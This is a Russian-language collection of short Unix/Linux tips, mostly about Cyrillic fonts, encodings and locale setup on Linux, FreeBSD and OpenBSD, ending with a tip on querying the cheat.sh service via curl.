    Известно, что Google Earth при работе на Debian и Ubuntu отличается совершенно негодными шрифтами. 
    Дело не только в их виде, но и в том, что русские буквы в ряде случаев не отображаются вовсе.
    Причина этого кроется где-то в библиотеке Qt4, идущей в комплекте с GE.
    Очевидное решение - избавиться от нее,
    и использовать системную библиотеку Qt4. Для этого устанавливаем Qt4 и заменяем шесть файлов GE 
    на соответствующие симлинки:
    
       sudo apt-get install libqt4-webkit qt4-qtconfig
    
       cd .google-earth... # Или куда вы поставили GE
    
       mv libQtCore.so.4 libQtCore.so.4.orig
       mv libQtGui.so.4 libQtGui.so.4.orig
       mv libQtNetwork.so.4 libQtNetwork.so.4.orig
       mv libQtWebKit.so.4 libQtWebKit.so.4.orig
    
       ln -s /usr/lib/libQtCore.so.4 .
       ln -s /usr/lib/libQtGui.so.4 .
       ln -s /usr/lib/libQtNetwork.so.4 .
       ln -s /usr/lib/libQtWebkit.so.4 .
    
       cd plugins/imageformats
    
       mv libqgif.so libqgif.so.orig
       mv libqjpeg.so libqjpeg.so.orig
    
       ln -s /usr/lib/qt4/plugins/imageformats/libqjpeg.so .
       ln -s /usr/lib/qt4/plugins/imageformats/libqgif.so .
    
    С этого момента шрифты отображаются отлично во всех частях Google Earth.
    
    Проверено с последней свежескачанной версией GE на Ubuntu 9.04 и свежем Debian Squeeze.
    
     
    ----* Массовая конвертация имен файлов и каталогов в другую кодировку (доп. ссылка 1)   Автор: Марецкий Александр  [комментарии]
     
    Если имена большой группы файлов и каталогов не в 7-битной ASCII-кодировке (латиница), 
    то при их переносе между операционными системами с разными локальными кодировками могут возникнуть 
    сложности - нечитаемые знаки вместо привычных имен файлов. Одним из возможных
    решений будет использование
    нижеописанного shell-скрипта, которым можно рекурсивно переконвертировать имена сколь 
    угодно большой группы каталогов и файлов из одной кодировки в другую (не боится пробелов в именах):
    
    #!/bin/sh
    # Script for bulk recode files and directories names
    # to another encodings.
    #
    # Usage:
    #    $ brecode.sh <source_dir> <new_dir>
    #
    
    # source encoding. If commented out, then current locale is used
    #RECODE_FROM="UTF8"
    
    # target encoding (mandatory)
    RECODE_TO="CP1251"
    
    #### error function
    err()
    {
        echo >&2
        echo "$(basename ${0}): error: ${1}" >&2
        echo "exit" >&2
        echo >&2
        exit 1
    }
    
    #### check arguments
    if test "x${1}" = "x"
    then err "no arguments specified"
    elif ! test -d "${1}"
    then err "directory '${1}' not found"
    elif test "x${2}" = "x"
    then err "source directory not specified"
    elif test -e "${2}"
    then err "object '${2}' already exists"
    fi
    
    #### check utilities
    for U in find iconv
    do which ${U} >/dev/null || err "${U} utility not found"
    done
    
    #### recode  & copy
    find "${1}" | while read S
    do
        if test ${RECODE_FROM}
        then N="${2}/$(echo ${S} | iconv -f ${RECODE_FROM} -t ${RECODE_TO})"
        else N="${2}/$(echo ${S} | iconv -t ${RECODE_TO})"
        fi
    
        if test -d "${S}"
        then mkdir -p "${N}" || err "mkdir failed"
        else cp "${S}" "${N}" || err "cp failed"
        fi
    done
    
     
    ----* Убираем ограничение на ширину панели закладок в Thunar   Автор: Vee Nee  [комментарии]
     
    С давних лет, при использовании локали ru_RU.UTF-8, в боковой панели закладок
    Thunar минимальная ширина этой панели
    была в два раза больше, чем этого требовалось. Это связано с методом
    определения ее минимальной ширины -
    для ее получения использовалась функция strlen() применительно к строке, возвращаемой gettext(). 
    Так как при использовании кириллицы каждый символ будет кодирован двумя байтами
    получалась двойная ширина панели.
    Здесь я предлагаю простой способ убрать ограничение на минимальную ширину этой панели.
    
    За основу будет взят исходный код Thunar текущей стабильной версии - 1.0.1,
    однако метод решения должен
    подходить и ко всем предыдущим версиям. В файле thunar/thunar-shortcuts-view.c
    найдите следующую строку
    (в версии 1.0.1 это строка 307):
    
       "width-chars", strlen (_("File System")),
    
    Для того чтобы снять ограничение достаточно просто удалить эту строку. Это все. 
    Скомпилируйте Thunar (make clean по необходимости) и задавайте панели закладок
    такую ширину, которая вам необходима!
    
     
    ----* Русификация FreeBSD консоли (KOI8-R и UTF-8) (доп. ссылка 1)   Автор: Litos  [комментарии]
     
    Настройка KOI8-R:
    
    vi /etc/rc.conf
       keymap="ru.koi8-r"
       font8x8="cp866-8x8"
       font8x14="cp866-8x14"
       font8x16="cp866b-8x16"
       scrnmap="koi8-r2cp866"
       cursor="destructive"
    
    Заменить все cons25 на cons25r в /etc/ttys:
    
    vi /etc/ttys
    :%s/cons25/cons25r/g
    
       kill -HUP 1
    
    (чтобы перечитался /etc/ttys)
    
       /etc/rc.d/syscons restart
    
       pw usermod root -L russian
    (выполнить для всех имен пользователей кому нужен русский, если вы ходите 
    на сервер только удаленно по ssh/telnet, то можно выполнить только этот шаг для настройки 
    поддержки русского языка KOI8-R в системе)
    
    
    Настройка UTF-8 (для работы с удаленного терминала):
    
    В /etc/login.conf добавляем:
    
       russian-utf8|Russian Users Accounts:\
            :charset=UTF-8:\
            :lang=ru_RU.UTF-8:\
            :lc_all=ru_RU.UTF-8:\
            :tc=default:
    
    Перестраиваем БД:
    
        cap_mkdb /etc/login.conf
    
    Прикрепляем пользователя:
    
        pw usermod логин -L russian-utf8
    
    Добавляем в /etc/profile
    
       MM_CHARSET=UTF-8; export MM_CHARSET
    
    
    Алексей Гуськов представил (http://kvasdopil.livejournal.com/31964.html) инструкцию 
    по установке UTF-8 в физической консоли, при помощи утилиты jfbterm:
    
    Jfbterm работает через framebuffer, поддерживает VESA-разрешения и 256 цветов, 
    позволяет поставить в фон терминала картинку, работает с мышью и т.д.
    
    В общем, качаем, ставим и компилим. (Если не скомпилялось, ставим последний autoconf и automake)
    
       fetch http://www.ac.auone-net.jp/~baba/jfbterm/jfbterm-FreeBSD-0.5.1.tar.gz
       tar xvzf jfbterm-FreeBSD-0.5.1.tar.gz
       cd jfbterm-FreeBSD-0.5.1
       ./configure CPPFLAGS=-I/usr/local/include LDFLAGS=-L/usr/local/lib --prefix=/usr/local --mandir=/usr/local/man
       /usr/local/bin/gmake
       sudo /usr/local/bin/gmake install
    
    Выставляем параметры терминала
    
       cat /usr/local/share/jfbterm/termcap.jfbterm >> /usr/share/misc/termcap
       cap_mkdb /usr/share/misc/termcap
    
    Создаём конфиг
    
       cp /usr/local/etc/jfbterm.conf.sample /etc/jfbterm.conf
    
    Качаем и ставим уникодный шрифт
    
       fetch http://www.ac.auone-net.jp/~baba/gnu-unifont/unifont.pcf.gz
       mkdir -p /usr/local/lib/X11/fonts/local/
       cp unifont.pcf.gz /usr/local/lib/X11/fonts/local/
    
    Запускам (в терминале)
    
       jfbterm
    
    Если UTF не отображается, то меняем в конфиге /etc/jfbterm.conf строчку
    
       encoding: locale
    
    на
    
       encoding: UTF-8
    
    Прикрутить ввод русских букв можно через uim-m17nlib.
    
     
    ----* Запуск KOI8-R терминала в UTF-8 окружении   Автор: uldus  [комментарии]
     
    В системе с UTF-8 не совсем удобно по ssh ходить по серверам на которых
    установлена локаль ru_RU.KOI8-R.
    gnome-terminal позволяет выбрать кодировку только через меню.
    
    Решить проблему, можно создав ярлык запускающий gnome-terminal, как:
       sh -c "export LANG=ru_RU.KOI8-R; gnome-terminal --disable-factory"
    
    При этом в терминале будет локаль ru_RU.KOI8-R, 
    будет работать копирование русского текста через буфер обмена из UTF-8 системы.
    
    Midnight Commander в пакетах пропатчен на предмет utf-8 и не позволяет работать
    с текстом в других кодировках,
    решить проблему можно пересобрав его из пакета с исходными текстами, отключив
    наложении unicode патча.
    
    PS. В комментарии подсказали, что можно использовать: luit -encoding "KOI8-R" ssh ip
    
     
    ----* Автоматическая смена кодировки в konsole (доп. ссылка 1)   Автор: bappoy  [комментарии]
     
    Скрипт, использующий dcop для упрощения процесса смены кодировки в konsole при подключении к ssh.
    
    Как и всякая программа KDE, konsole использует DCOP для внутрисистемных коммуникаций. 
    Это означает, что запущенной программой можно управлять из командной строки 
    командами типа "dcop konsole-2115 konsole setFullScreen true". 
    Здесь konsole-2115 - название программы + её pid, все остальные 
    аргументы - это, говоря языком ООП, объект, методы и параметры. 
    Список программ, которыми можно рулить подобным образом, и их 
    объектов с методами можно получить, выполняя последовательно 
    команды dcop, dcop konsole-2115, dcop konsole-2115 konsole и т.д.
    
    Konsole при запуске устанавливает две переменные окружения:
    KONSOLE_DCOP, в которой хранится ссылка на текущий экземпляр программы, и 
    KONSOLE_DCOP_SESSION - ссылка на текущий сеанс. 
    Для установки кодировки текущего сеанса нужно использовать такую команду:
    
        dcop $KONSOLE_DCOP_SESSION setEncoding KOI8-R
    
    Собственно, на этом задачу можно считать решённой, осталось правильно оформить ответ :)
    
    В качестве быстрого решения подойдёт прописывание в .bashrc alias'ов для всех интересующих хостов:
    
        alias 01='dcop $KONSOLE_DCOP_SESSION setEncoding KOI8-R;\
            ssh bpp@192.168.0.1 $*;dcop $KONSOLE_DCOP_SESSION setEncoding UTF8;'
        alias 02='dcop $KONSOLE_DCOP_SESSION setEncoding KOI8-R;\
            ssh bpp@192.168.0.2 $*;dcop $KONSOLE_DCOP_SESSION setEncoding UTF8;'
        alias 03='dcop $KONSOLE_DCOP_SESSION setEncoding KOI8-R;\
           ssh bpp@192.168.0.3 $*;dcop $KONSOLE_DCOP_SESSION setEncoding UTF8;'
    
    Более правильное решение - оформить это в виде небольшого скрипта ~/bin/ssh-launcher.sh, 
    который умеет переименовывать сеанс и проверять, выполняется ли команда в konsole, 
    а не, например, в xterme, который dcop не поддерживает. Кроме того,
    скрипт можно расширять, добавляя установку различных параметров konsole в
    зависимости от хоста назначения.
    
    
        #!/bin/bash
        if !([[ "$1" ]] && [[ "$2" ]]) ; then
    
            echo Usage: $0 username hostname \[ ssh parameters \]
            exit 1
    
        fi
    
        ssh_params=( $* )
        ssh_user=${ssh_params[0]}
        ssh_host=${ssh_params[1]}
        unset ssh_params[0]
        unset ssh_params[1]
        ssh_parameters=${ssh_params[*]}
    
        if [[ x"$KONSOLE_DCOP" != "x" ]] ; then # если мы в konsole
    
            dcop $KONSOLE_DCOP_SESSION setEncoding KOI8-R
            dcop $KONSOLE_DCOP_SESSION renameSession $ssh_user@$ssh_host
            ssh $ssh_user@$ssh_host $ssh_parameters
            dcop $KONSOLE_DCOP_SESSION renameSession `whoami`@`hostname`
            dcop $KONSOLE_DCOP_SESSION setEncoding UTF8
    
        else
    
            kdialog -text "run this from konsole"
    
        fi
    
    Теперь в ~/.bashrc можно прописать alias'ы длы вызова этого скрипта:
    
    
        alias 01='ssh-launcher bpp@192.168.0.1 $*'
        alias 02='ssh-launcher bpp@192.168.0.1 $*'
        alias 03='ssh-launcher bpp@192.168.0.1 $*'
        ...
        alias bpp='ssh-launcher bappoy@bappoy.pp.ru $*'
    
    P.S. Обратите внимание на $* в конце alias'а - благодаря этой переменной 
    можно очень быстро выполнять команды на указанном сервере:
    
        01 ps -ax\|grep httpd\|wc -l
    
    Ссылки про DCOP:
    
    KDE DIY - Building Your Own Tools
       http://docs.kde.org/userguide/kde-diy.html
    Using DCOP from the command line (Linux Gazette #97)
       http://linuxgazette.mirrors.org.ua/issue97/oregan2.html
    DCOP @Wikipedia
       http://en.wikipedia.org/wiki/Dcop
    
     
    ----* 3 шага для перехода на UTF-8 во FreeBSD (доп. ссылка 1)   Автор: Sokolov Alexey  [комментарии]
     
    1. в ~/.xinitrc пишем (именно сюда а не в /etc/profiles потому как
    системная консоль FreeBSD не поддерживает юникод, посему локаль сия
    будет использоваться только в иксах):
    
      export LANG='ru_RU.UTF-8'
      export LC_ALL='ru_RU.UTF-8'
    
    2. выполняем конвертацию содержимого файловой системы из koi8-r в
    UTF-8 (необходим порт converters/convmv):
    
       %convmv -f koi8-r -t UTF-8 путь_к_разделу/* --notest -r
    
    3. далее все зависит от терминала, если у вас что-то вроде
    gnome-terminal, то достаточно будет сменить кодировку в опциях на
    UTF-8, если же у вас что-то вроде xterm'а, тогда в ~/.Xresources
    необходимо будет поменять шрифт, например так (для этого шрифта
    необходим пакет x11-fonts/terminus-font):
    
       XTerm*font: -*-terminus-medium-*-*-*-*-*-*-*-*-iso10646-1
    
    для syscons(4) на i386:
    
    1. ставим sysutils/jfbterm и textproc/uim-m17nlib
    2. меняем стандартную переключалку языка с Shift+Space на Ctrl+\
       добавлением в ~/.uim
    
    	(define-key generic-on-key? "<Control>\\")
    	(define-key generic-off-key? "<Control>\\")
    
    3. ставим локаль и добавляем запуск uim-fep и jfbterm в ~/.profile
    	export LANG=ru_RU.UTF-8
    	exec jfbterm -e uim-fep
       или в ~/.login (для tcsh)
    	setenv LANG ru_RU.UTF-8
    	exec jfbterm -e uim-fep
    
    Для syscons(4), универсальный способ, неполный юникод:
    
    1. ставим шрифт и раскладку koi8-r в /etc/rc.conf
    
       # шрифт
       font8x8=koi8-r-8x8
       font8x14=koi8-r-8x14
       font8x16=koi8-r-8x16
       # раскладка
       keymap=ru.koi8-r
    
    2. ставим sysutils/screen, рекомендую более новый
       ftp://ftp.lissyara.su/users/Guest/screen.diff
    
    3. ставим локаль и добавляем запуск screen в ~/.profile (для sh)
    
       # экспортируем локаль и тип терминала
       export LANG=ru_RU.UTF-8 TERM=xterm
       # запускаем сессию 'desktop', если уже не запущена
       if ! screen -S desktop -ls | fgrep -q desktop; then
          screen -S desktop -dm
       fi
       # подсоединяемся к сессии 'desktop'
       if vidcontrol -i adapter >&- 2>&-
       then
          # в syscons используем локаль koi8-r
          LC_CTYPE=ru_RU.KOI8-R TERM=cons25r \
          exec screen -x desktop
       else
          # в X'ах используем дефолтную локаль
          exec screen -x desktop
       fi
    
    Примечание:
    
    Символы за пределами koi8-r будут отображаться как ??? (вопросики).
    Если хотите полный (многоязычный) юникод, то используйте способ с jfbterm.
    
     
    ----* Русские символы в rrdtool   Автор: Vladimir  [комментарии]
     
    При отображении строк в RRD используется кодировка UTF-16, в которой есть
    таблица русских символов,
    соответствующая таблице CP1251, только со смещением.
    Чтобы rrdgraph смог отображать русские символы на графиках 
    необходимо внести изменения в файл src/rrd_afm.h. Находим в нем строчку
    
       #define afm_fix_osx_charset(x) (x)
    
    и заменяем на
    
       #define afm_fix_osx_charset(x) \
         ( (x) >= 128 && (x) <= 255 ? (x) + 0x0350 : (x))
    
    Таким образом, если в строке встречается символ с кодом между 127 и 256, то к
    нему применяется смещение 0x0350.
    Строки необходимо записывать в CP1251 (я использую vim с libiconv).
    
    Для работы с KOI8 необходима еще таблица перестановок из KOI8 в CP1251
    
    Для этого в файл src/rrd_afm.c добавляем описание таблицы
    const unsigned char afm_koi2win[128] = {128,129,130,131,132,133,134,135,136,
    137,138,139,140,141,142,143,144,145,146,147,148,149,150,151,152,153,154,155,
    156,157,158,159,160,161,162,184,164,165,166,167,168,169,170,171,172,173,174,
    175,176,177,178,179,180,181,182,183,184,185,186,187,188,189,190,191,254,224,
    225,246,228,229,244,227,245,232,233,234,235,236,237,238,239,255,240,241,242,
    243,230,226,252,251,231,248,253,249,247,250,222,192,193,214,196,197,212,195,
    213,200,201,202,203,204,205,206,207,223,208,209,210,211,198,194,220,219,199,
    216,221,217,215,218};
    
    а в src/rrd_afm.h такие строки
    
       extern const unsigned char afm_koi2win[128];
       #define afm_fix_osx_charset(c) \
         ( (c) >= 128 && (c) <= 255 ? afm_koi2win[(c) - 128] + 0x0350 : (c))
    
     
    ----* KOI8-R локаль в Ubuntu и Kubuntu (доп. ссылка 1)   Автор: mahoro  [комментарии]
     
    Для того, чтобы вернуться к родной для многих KOI8-R локали вместо дефолтной
    UTF8 нужно сделать следующее:
    
    а) Для начала необходимо сгенерировать локаль ru_RU-KOI8-R, делается это командой locale-gen. 
    В качестве парамета ей целесообразно указать язык (ru), иначе она будет генерировать 
    локали всех языков (/usr/share/i18n/locales/*), но только для кодировки UTF-8. 
    Для языка ru будут сгенерированы следующие локали (в ubuntu 9.04 -
    ".../supported.d/local" вместо ".../supported.d/ru" ):
    
       #cat /var/lib/locales/supported.d/ru
       ru_RU.UTF-8 UTF-8
       ru_UA.UTF-8 UTF-8
    
    Следующими командами можно заставить сгенерировать ее локаль для кодировки
    KOI8-R (в ubuntu 9.04 - ".../supported.d/local"):
    
       #sudo echo "ru_RU.KOI8-R KOI8-R" >> /var/lib/locales/supported.d/ru
       #echo "locale-gen local" on ubuntu9.04
       #sudo locale-gen ru
       Generating locales...
       ru_RU.KOI8-R... done
       ru_RU.UTF-8... done
       ru_UA.UTF-8... done
       Generation complete.
    
    
    б) Далее, обновляем переменные окружения:
    
       sudo vim /etc/environment
    
    Пишем: 
    
       LANG="ru_RU.KOI8-R"
       LANGUAGE="ru_RU:ru:en_GB:en"
    
    С русификацией иксов покончено
    
    в) Приступаем к консоли. Пишем:
    
       apt-get install console-cyrillic
    
    В файл .profile добавляем:
    
       loadkeys /usr/share/console-cyrillic/ru-koi8-r.kmap
       consolechars -f /usr/share/console-cyrillic/UniCyr_8x14.psf -m \
          /usr/share/ console-cyrillic/koi8-r.acm.gz
    
    Готово.
    
    У меня заработало все, кроме mcedit, который пришлось пересобрать.
    
     
    ----* Как заставить Opera всегда использовать сглаживание шрифтов   [комментарии]
     
    Для исправления ситуации, когда для некоторых сайтов 
    (например всех англоязычных) Opera отображает шрифты  без сглаживания (anti-aliasing), 
    нужно в секцию "[User Prefs]" файла ~/.opera/opera6.ini поместить строку:
       Enable Core X Fonts=0
    
    Если не помогло, можно попробовать запустить Opera установив переменную окружения "QT_XFT=true".
    
     
    ----* Как пересоздать и русифицировать меню в KDE под Linux.   [комментарии]
     
    В /etc/menu-methods/lang.h или /etc/menu-methods/menu.h
    для lang() и languages() прописать кодировку, например:
       function lang()=ru_RU.KOI8-R""
       function languages()="ru_RU.KOI8-R"  
    
    Из-под root запустить:
       update-menus                                                                
    
     
    ----* Русификация консоли OpenBSD 3.7 (доп. ссылка 1)   Автор: Игорь Грабин  [обсудить]
     
    Подключение русской раскладки:
    
       echo ru > /etc/kbdtype
    
    После чего добавляем в /etc/rc.local такое:
    
       wsfontload /usr/share/misc/pcvtfonts/koi8-r-8x16
       for cons in `jot 6 1 6`; do wsconscfg -dF $cons; wsconscfg -t 80x25bf $cons; done
       unset cons
       wsconsctl -w keyboard.map+="keycode 157=Mode_Lock"
    
    Вместо koi8-r-8x16 можно указать koi8-u-8x16. 
    В качестве переключателя раскладки используется правый CTRL
    
    Замечание: Экран ttyC0 создаётся всегда и не может быть удалён, поэтому не
    может отображать кириллицу.
    
     
    ----* Как включить Windows раскладку клавиатуры в XWindow (точка и запятая, вместо ? и /) ?   [комментарии]
     
    Чтобы при наборе русских символов, при нажатии на клавишу с вопросом, рядом с правым Shift, 
    печатались точка и запятая, вместо вопроса и слэша, в Section "InputDevice"
    файла конфигурации XOrg или XFree86
    
    меняем:
        Option "XkbLayout" "us,ru"
    на
        Option "XkbLayout" "us,ru(winkeys)"
    
    или просто добавляем (запятую не пропустите):
        Option "XkbVariant" ",winkeys"
    
     
    ----* Как добавить Windows TrueType шрифты для xfs в X Window   [комментарии]
     
    - Копируем ttf шрифты ~/.font, переходим в директорию ~/.font
    - Запускаем: ttmkfdir > fonts.scale
    - Запускаем: mkfontdir
    - Запускаем: fc-cache ./
    - Прописываем ~/.font в /etc/X11/fs/config (список "catalogue") или запускаем:
       /usr/sbin/chkfontpath --add ~/.font
    - Запускаем: xset fp rehash
    - Запускаем: service xfs restart
    - Проверяем, новые шрифты должны быть показаны в выводе утилит fc-list,
    xlsfonts, xfontsel, kcharselect, gfontsel и chkfontpath;
    
    В KDE можно использовать: "Control Center/System/Font Installer".
    
    В OpenOffice для добавления шрифтов нужно использовать утилиту spadmin.
    
    Для AbiWord шрифты нужно скопировать в /usr/share/abisuite/AbiSuite/fonts и запустить 
       mkfontdir; ttmkfdir > fonts.scale
    
    При наличии проблем с антиалиасингом, необходимо пересобрать библиотеку FreeType, активировав 
    "#define TT_CONFIG_OPTION_BYTECODE_INTERPRETER" в include/freetype/config/ftoption.h
    
    В AltLinux рекомендуется поставить пакеты  freefont-fonts-ttf, freetype и ms-fonts-ttf.
    
    
    Другой способ добавления шрифтов:
    Копируем шрифты например в директорию, ~/fonts
    В ~/.xinitrc добавляем
       xset fp+ $HOME/fonts/
    
     
    ----* Как выбрать язык при проигрывании VOB файла с DVD диска в mplayer.   [комментарии]
     
    Запускаем mplayer -v file.vob, смотрим какие "audio stream" присутствуют.
    Далее:
        mplayer -aid 129 VTS_01_1.VOB
    
     
    ----* Заставляем XMMS говорить по-русски (SuSE 9.1, UTF-8)   Автор: Kroz  [комментарии]
     
    Я работаю в юникоде. Чтобы xmms мне корректно отображал русские имена файлов я
    его запускаю вот так:
        env LC_MESSAGES=en_US.UTF-8 LANG=ru_RU.UTF-8 xmms
    
    Русские теги xmms отображает криво потому, что они в кодировке cp1251. 
    Чтобы решить этот вопрос я ставлю шрифты для плейлиста и главного окна с кодировкой cp1251. 
    У меня такой шрифт:
        -adobe_windows_1251-helvetica-medium-r-normal-*-*-100-*-*-p-*-microsoft-cp1251
    А взял я эти шрифты адресу http://www.inp.nsk.su/~bolkhov/files/fonts/cyr-rfx/ 
    В принципе, можно взять любые, в которых есть поддержка кодировки cp1251.
    
     
    ----* Файлы с русскими именами в GTK приложениях   [комментарии]
     
    Чтобы GTK приложения могли корректно отображать имена файлов, в которых
    встречаются русские символы
    нужно определить переменную окружения G_BROKEN_FILENAMES=1
    
    для csh, можно поместить её в ~/.cshrc:
         setenv G_BROKEN_FILENAMES 1
    
    для bash, sh:
         export G_BROKEN_FILENAMES=1
    
     
    ----* Как преобразовать в текстовый формат русскоязычный PDF или PostScript файл (доп. ссылка 1)   [комментарии]
     
    Единственное нормальное средство для конвертации в текст из PDF или PS с кириллицей внутри, 
    утилита pdftotex из комплекта xpdf:
       pdftotext -enc KOI8-R test.pdf
       pdftotext -raw -enc KOI8-R test.pdf
    
     
    ----* Подключение TrueType шрифтов к Mozilla (для нормальной печати) (доп. ссылка 1)   [комментарии]
     
    Mozilla должна быть собрана с поддержкой FreeType2 (http://www.freetype.org/),
    проверка:
       ldd /usr/lib/mozilla/mozilla-bin| grep libfreetype
    
    Редактируем файл unix.js:
        $ locate unix.js
        /usr/lib/mozilla/defaults/pref/unix.js
    
    Активируем TrueType шрифты, заменяем
        pref("font.FreeType2.enable", false);
    на
        pref("font.FreeType2.enable", true);
    
    Прописываем версию установленной библиотеки FreeType2:
        pref("font.freetype2.shared-library", "libfreetype.so.6");
    
    Определяем шрифты, добавляем в unix.js:
        pref("font.directory.truetype.1", "/usr/X11R6/lib/X11/fonts/TrueType");
    
    Устанавливаем TrueType шрифты как активные:
        Edit->Preferences...->Appearance->Fonts
    
     
    ----* Русификация SUSE 9.0   Автор: admin  [комментарии]
     
    как обычно /etc/x11/XF86Config, секция Section "InputDevice" добавляем:
      Option       "XkbLayout" "us,ru"
      Option       "XkbModel" "pc104"
      Option       "XkbRules" "xfree86"
      Option       "XkbVariant" ",winkeys"
      Option       "XkbOptions" "grp:ctrl_shift_toggle,grp_led:scroll"
    и переключение раскладки роботает, теперь в /etc/SUSEconfig/profile ремим
    #    LANG="en_US"
    #    export LANG
    и добавляем
        export LANG=ru_RU
        export LC_ALL=ru_RU
    Потом добавляем через controlcenter шрифты от Windows.
    
     
    ----* Русские man в utf-8 локали для ASP Linux (доп. ссылка 1)   Автор: Александр Алябушев  [обсудить]
     
    /etc/man.config
      # NROFF /usr/bin/nroff -c -mandoc
      NROFF ( LANG=ru_RU.KOI8-R ; LESSCHARSET=UTF-8 ; /usr/bin/nroff -c -mandoc )
      #PAGER /usr/bin/less -isr
      PAGER recode KOI8-R..UTF-8 | /usr/bin/less -isr
    
     
    ----* Русификация XMMS (GTK-приложений) под KDE (доп. ссылка 1)   Автор: awk  [комментарии]
     
    Из каталога /usr/X11R6/share/themes/Default/gtk 
    нужно полностью скопировать содержимое файла gtkrc.ru в конец файла .gtkrc-kde. 
    Это позволит "говорить" русскими буквами GTK-приложениям под KDE.
    
     
    ----* Русификация liece под Xemacs   Автор: Mikhail Pachkov  [обсудить]
     
    Столкнулся с проблемой русификации liece(1.4.10) под Xemacs(21.4.12). 
    Кириллица корректно отображалась в VM, Gnus но liece показывал абракадабру.
    Установка process-coding-system-alist network-coding-system-alist на koi8-r не помогла.
    Проблема была решена с помощью:
       (setq liece-mime-charset-for-write 'koi8-r)
       (setq liece-mime-charset-for-read 'koi8-r)
    
     
    ----* Как примонтировать в FreeBSD CD-ROM с русифицированной FS, чтобы русские буквы не выглядели как вопросительные знаки.   Автор: lavr  [комментарии]
     
    cd /usr/ports/sysutils/cd9660_unicode
    make && make install
    грузить модуль через
       kldload /lib/cd9660_unicode/cd9660_[unicode|koi8-r|iso-8859-5|cp866].ko
    
     
    ----* Как перекодировать текст из одной кодировки в другую   [комментарии]
     
    iconv -f WINDOWS-1251 -t KOI8R test.txt > new_test.txt
    iconv --list - список кодировок.
    Например: WINDOWS-1251, UTF-8, UTF-16, UNICODE, KOI8-R, ISO-8859-5, CP866
    
     
    ----* Как русифицировать шелл в FreeBSD ?   Автор: lavr  [обсудить]
     
    Bash: $HOME/.inputrc
          set convert-meta off
          set input-meta on
          set output-meta on
    $HOME/.bash_profile
          export CHARSET=KOI8-R
          export MM_CHARSET=KOI8-R
          export LANG=ru_RU.KOI8-R
    Tcsh[Csh] $HOME/.login
          setenv CHARSET KOI8-R
          setenv MM_CHARSET KOI8-R
          setenv LANG ru_RU.KOI8-R
    
     
    ----* Как посмотреть какие koi8-r шрифты установлены для X Window   [обсудить]
     
    xlsfonts -fn "*-koi8-r"
    
     
    ----* Как примонтировать cdrom с русскими файлами   [комментарии]
     
    В Joliet файлы хранятся в unicode, соответственно codepage=unicode.
    Если файлы записаны в 866 кодировке нужно добавить ",codepage=866"
    mount -t iso9660 -o iocharset=koi8-r,ro,noexec,mode=0444  /dev/cdrom  /mnt/cdrom
    или  в /etc/fstab:
    /dev/cdrom /mnt/cdrom iso9660 noauto,user,ro,noexec,mode=0444,iocharset=koi8-r
    а затем:  mount /mnt/cdrom
    
     
    ----* Проверка правописания в Telegram Desktop для Linux   Автор: Аноним  [комментарии]
     
    Начиная с версии 1.9.3, в Telegram Desktop появилась поддержка проверки
    правописания. Чтобы она работала в Linux, помимо установленных средств проверки
    правописания и словарей, необходимо дополнительно установить пакет enchant
    (обёртка для движков проверки правописания ispell, aspell и myspell).
    
    После этого в настройках приложения появится пункт для включения/отключения
    проверки правописания, а также в контекстном меню поля ввода сообщения будут
    отображаться варианты исправлений для слов с ошибками, а сами слова с ошибками
    будут помечаться.
    
     
    ----* Изменение скорости движения указателя мыши через xinput   [комментарии]
     
    Если при настройке отзывчивости курсора мыши не помогают конфигураторы GNOME и
    других графических окружений, можно настроить поведение мыши из командной строки.
    
    Например, для замедления движения курсора в ~/.xprofile можно указать:
    
       xinput --set-prop "Logitech USB Optical Mouse" "Device Accel Constant Deceleration" 1.5
    
    
    Название мыши определяется в списке устройств ввода, отображаемом при запуске
    утилиты xinput без аргументов (вместо названия можно использовать цифровой идентификатор).
    
    Вместо свойства "Device Accel Constant Deceleration" можно указать его цифровой
    код. Список доступных свойств, их кодов и выставленных по умолчанию значений
    можно посмотреть запустив команду 'xinput list-props "идентификатор мыши"'.
    
     
    ----* Как правильно прописать сменные накопители в /etc/fstab для FreeBSD.   Автор: Insane  [комментарии]
     
    /dev/acd0c /mnt/cdrom cd9660 ro,noauto,-W=koi2dos,
    -L=ru_RU.KOI8-R 0 0
    /dev/fd0 /mnt/flop msdos rw,noauto,-W=koi2dos,
    -L=ru_RU.KOI8-R 0 0
    /dev/ad0s2 /mnt/store msdos rw,-W=koi2dos,
    -L=ru_RU.KOI8-R,noexec,nosuid,nosymfollow,
    -u0,-g0,-m 660  0 0
    Еще для удобства можно создать симлинки типа:
    ln -sf /dev/acd0c /dev/cdrom
    ln -sf /dev/acd1c /dev/cdrom1 (если есть второй cdrom)
    ln -sf /dev/fd0 /dev/flop
    прописать изменения в fstab,
    и монтировать диски командой mount /dev/cdrom а не
    mount /dev/acd0c =).
    
     

       Файлы, копирование, архивация

    ----* Как получать ответы на вопросы по программированию прямо из командной строки или редактора (доп. ссылка 1)   Автор: igor_chubin  [комментарии]
     
    В прошлой заметке было показано как, пользуясь сервисом cheat.sh, можно
    получить краткую справку практически по любой популярной команде UNIX/Linux.
    Сервис использует для этого популярные репозитории шпаргалок (cheat sheets),
    такие как tldr, cheat и прочие.
    
    Возможности сервиса cheat.sh были расширены, и теперь с его помощью можно
    получать не только подсказки по командам UNIX/Linux, но и получать ответы на
    любые вопросы по программированию.
    
    В простейшем случае использование сервиса выглядит следующим образом:
    
        curl cheat.sh/python/append+file
    
    Этот запрос возвращает ответ на вопрос, как дописать файл (append file) в python.
    
    Вместо python в запросе можно указать другой язык программирования (из 55 поддерживаемых
    сервисом в настоящий момент):
    
        curl cheat.sh/js/append+file
        curl cheat.sh/go/append+file
    
    Возвращаемые запросы отформатированы по умолчанию как код на соотвествующем 
    языке программирования: текстовые пояснения оформлены как комментарии языка.
    Их можно убрать полностью (опция Q) или оставить как незакомментированный текст:
    
    (с комментариями)
    
        $ curl cht.sh/lua/merge+tables
        -- Lua - merge tables?
    
        for k,v in pairs(second_table) do first_table[k] = v end
    
        -- [Doug Currie] [so/q/1283388] [cc by-sa 3.0]
    
    (без комментариев)
    
        $ curl cht.sh/lua/merge+tables?Q
        for k,v in pairs(second_table) do first_table[k] = v end
    
    Сервис поддерживает множество других опций, описание которых можно получить по запросу /:help
    
        curl cht.sh/:help
    
    Обратите внимание, что к сервису можно обращаться как по полному имени (cheat.sh),
    так и по краткому имени cht.sh. Для запросов можно использовать оба протокола HTTP и HTTPS.
    
    
    Примеры запросов:
    
        curl cht.sh/go/reverse+a+list
        curl cht.sh/python/random+list+elements
        curl cht.sh/js/parse+json
        curl cht.sh/lua/merge+tables
